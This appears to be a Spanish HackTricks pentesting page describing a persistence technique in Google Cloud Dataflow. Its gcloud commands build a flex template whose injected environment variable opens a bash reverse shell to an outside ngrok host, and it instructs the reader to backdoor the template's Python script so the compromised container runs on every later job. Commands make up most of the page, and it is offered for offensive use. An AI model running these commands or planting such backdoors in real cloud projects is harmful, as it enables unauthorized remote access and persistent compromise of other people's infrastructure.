GCP - Dataflow Persistence

Apoya a HackTricks

Dataflow

Persistencia invisible en contenedor integrado

Siguiendo el tutorial de la documentación puedes crear una nueva plantilla flexible (por ejemplo, en python):

git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
cd python-docs-samples/dataflow/flex-templates/getting_started

# Create repository where dockerfiles and code is going to be stored
export REPOSITORY=flex-example-python
gcloud storage buckets create gs://$REPOSITORY

# Create artifact storage
export NAME_ARTIFACT=flex-example-python
gcloud artifacts repositories create $NAME_ARTIFACT \
--repository-format=docker \
--location=us-central1
gcloud auth configure-docker us-central1-docker.pkg.dev

# Create template
export NAME_TEMPLATE=flex-template
gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
--image-gcr-path "us-central1-docker.pkg.dev/gcp-labs-35jfenjy/$NAME_ARTIFACT/getting-started-python:latest" \
--sdk-language "PYTHON" \
--flex-template-base-image "PYTHON3" \
--metadata-file "metadata.json" \
--py-path "." \
--env "FLEX_TEMPLATE_PYTHON_PY_FILE=getting_started.py" \
--env "FLEX_TEMPLATE_PYTHON_REQUIREMENTS_FILE=requirements.txt" \
--env "PYTHONWARNINGS=all:0:antigravity.x:0:0" \
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
--region=us-central1

Mientras se está construyendo, obtendrás una shell inversa (puedes abusar de variables de entorno como en el ejemplo anterior u otros parámetros que configuren el archivo Docker para ejecutar cosas arbitrarias). En este momento, dentro de la shell inversa, es posible ir al directorio /template y modificar el código del script principal de Python que se ejecutará (en nuestro ejemplo este es getting_started.py). Coloca tu puerta trasera aquí para que cada vez que se ejecute el trabajo, se ejecute.

Luego, la próxima vez que se ejecute el trabajo, se ejecutará el contenedor comprometido construido:

# Run template
gcloud dataflow $NAME_TEMPLATE run testing \
--template-file-gcs-location="gs://$NAME_ARTIFACT/getting_started-py.json" \
--parameters=output="gs://$REPOSITORY/out" \
--region=us-central1
Apoya a HackTricks

Last updated